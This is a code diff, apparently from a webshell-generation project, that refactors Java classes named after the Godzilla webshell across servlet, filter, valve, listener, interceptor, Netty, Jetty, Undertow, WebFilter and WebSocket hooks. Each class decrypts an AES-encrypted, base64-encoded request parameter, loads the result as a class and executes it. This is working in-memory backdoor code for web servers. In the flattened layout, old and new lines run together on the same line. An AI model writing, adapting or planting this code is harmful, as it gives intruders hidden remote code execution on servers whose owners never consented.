Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
public byte[] x(byte[] s, boolean m) { public byte[] x(byte[] s, boolean m) throws Exception {
try { Cipher c = Cipher.getInstance("AES");
Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s);
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
} }
@@ -59,53 +59,31 @@ public class GodzillaHandlerMethod extends ClassLoader {
return ResponseEntity.ok(bufferStream); return ResponseEntity.ok(bufferStream);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
try { Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
base64 = Class.forName("sun.misc.BASE64Encoder"); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} catch (Exception ignored) {
}
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
try { Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
base64 = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
} }
return value;
} }
public byte[] x(byte[] s, boolean m) { public byte[] x(byte[] s, boolean m) throws Exception {
try { Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
Cipher c = Cipher.getInstance("AES"); return c.doFinal(s);
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
} }
@@ -37,7 +37,7 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
data = this.x(data, false); data = this.x(data, false);
Object cache = session.getAttribute(key); Object cache = session.getAttribute(key);
if (cache == null) { if (cache == null) {
session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).Q(data)); session.setAttribute(key, (new GodzillaInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = ((Class<?>) cache).newInstance();
@@ -57,6 +57,34 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
return true; return true;
} }
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
}
@Override @Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
@@ -67,54 +95,6 @@ public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInte
} }
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object encoder = base64.newInstance();
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
return value;
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override @Override
public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
@@ -53,7 +53,7 @@ public class GodzillaJettyHandler extends ClassLoader {
Object session = request.getClass().getMethod("getSession").invoke(request); Object session = request.getClass().getMethod("getSession").invoke(request);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
if (cache == null) { if (cache == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data)); session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = ((Class<?>) cache).newInstance();
@@ -79,49 +79,29 @@ public class GodzillaJettyHandler extends ClassLoader {
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("all") public byte[] x(byte[] s, boolean m) throws Exception {
public Class<?> Q(byte[] cb) { Cipher c = Cipher.getInstance("AES");
return super.defineClass(cb, 0, cb.length); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
} return c.doFinal(s);
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
} }
@@ -27,7 +27,6 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
} }
@Override @Override
@SuppressWarnings("all")
public void requestInitialized(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try { try {
@@ -41,7 +40,7 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
if (cache == null) { if (cache == null) {
session.setAttribute( session.setAttribute(
key, key,
(new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data)); (new GodzillaListener(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = ((Class<?>) cache).newInstance();
@@ -66,49 +65,30 @@ public class GodzillaListener extends ClassLoader implements ServletRequestListe
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("deprecation") public byte[] x(byte[] s, boolean m) throws Exception {
public Class<?> Q(byte[] cb) { Cipher c = Cipher.getInstance("AES");
return super.defineClass(cb, 0, cb.length); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
} return c.doFinal(s);
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
@Override @Override
@@ -111,46 +111,32 @@ public class GodzillaNettyHandler extends ChannelDuplexHandler {
return clazz; return clazz;
} }
public byte[] x(byte[] s, boolean m) { public byte[] x(byte[] s, boolean m) throws Exception {
try { Cipher c = Cipher.getInstance("AES");
Cipher c = Cipher.getInstance("AES"); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); return c.doFinal(s);
return c.doFinal(s);
} catch (Exception e) {
return null;
}
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
private void send(ChannelHandlerContext ctx, String context) throws Exception { private void send(ChannelHandlerContext ctx, String context) throws Exception {
@@ -38,7 +38,7 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
data = this.x(data, false); data = this.x(data, false);
Object cache = session.getAttribute(key); Object cache = session.getAttribute(key);
if (cache == null) { if (cache == null) {
session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data)); session.setAttribute(key, (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = ((Class<?>) cache).newInstance();
@@ -57,63 +57,32 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
} }
} }
@Override public byte[] x(byte[] s, boolean m) throws Exception {
public String getServletInfo() { Cipher c = Cipher.getInstance("AES");
return ""; c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} }
@Override
public void destroy() {
}
@SuppressWarnings("all")
public Class<?> Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@Override @Override
@@ -125,4 +94,14 @@ public class GodzillaServlet extends ClassLoader implements Servlet {
public ServletConfig getServletConfig() { public ServletConfig getServletConfig() {
return null; return null;
} }
@Override
public String getServletInfo() {
return "";
}
@Override
public void destroy() {
}
} }
@@ -42,7 +42,7 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
Object session = request.getClass().getMethod("getSession").invoke(request); Object session = request.getClass().getMethod("getSession").invoke(request);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
if (cache == null) { if (cache == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).Q(data)); session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new GodzillaUndertowServletHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
@@ -66,48 +66,29 @@ public class GodzillaUndertowServletHandler extends ClassLoader {
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("all") public byte[] x(byte[] s, boolean m) throws Exception {
public Class<?> Q(byte[] cb) { Cipher c = Cipher.getInstance("AES");
return super.defineClass(cb, 0, cb.length); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
} return c.doFinal(s);
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
} }
@@ -38,7 +38,7 @@ public class GodzillaValve extends ClassLoader implements Valve {
data = this.x(data, false); data = this.x(data, false);
Object cache = session.getAttribute(key); Object cache = session.getAttribute(key);
if (cache == null) { if (cache == null) {
session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data)); session.setAttribute(key, (new GodzillaValve(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length));
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) cache).newInstance(); Object f = ((Class) cache).newInstance();
@@ -61,49 +61,30 @@ public class GodzillaValve extends ClassLoader implements Valve {
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("all") public byte[] x(byte[] s, boolean m) throws Exception {
public Class Q(byte[] cb) { Cipher c = Cipher.getInstance("AES");
return super.defineClass(cb, 0, cb.length); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
} return c.doFinal(s);
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
protected Valve next; protected Valve next;
@@ -49,7 +49,7 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
byte[] data = base64Decode(map.getFirst(pass)); byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false); data = x(data, false);
if (payload == null) { if (payload == null) {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).Q(data); payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance(); Object f = payload.getDeclaredConstructor().newInstance();
@@ -70,48 +70,29 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Encoder"); Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
Object encoder = base64.newInstance(); return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
} }
return value;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception { public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class<?> base64;
try { try {
base64 = Class.forName("java.util.Base64"); Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) { } catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
Object decoder = base64.newInstance(); return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} }
return value;
} }
@SuppressWarnings("all") public byte[] x(byte[] s, boolean m) throws Exception {
public Class<?> Q(byte[] cb) { Cipher c = Cipher.getInstance("AES");
return super.defineClass(cb, 0, cb.length); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
} return c.doFinal(s);
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
} }
} }
@@ -70,16 +70,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
return clazz; return clazz;
} }
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
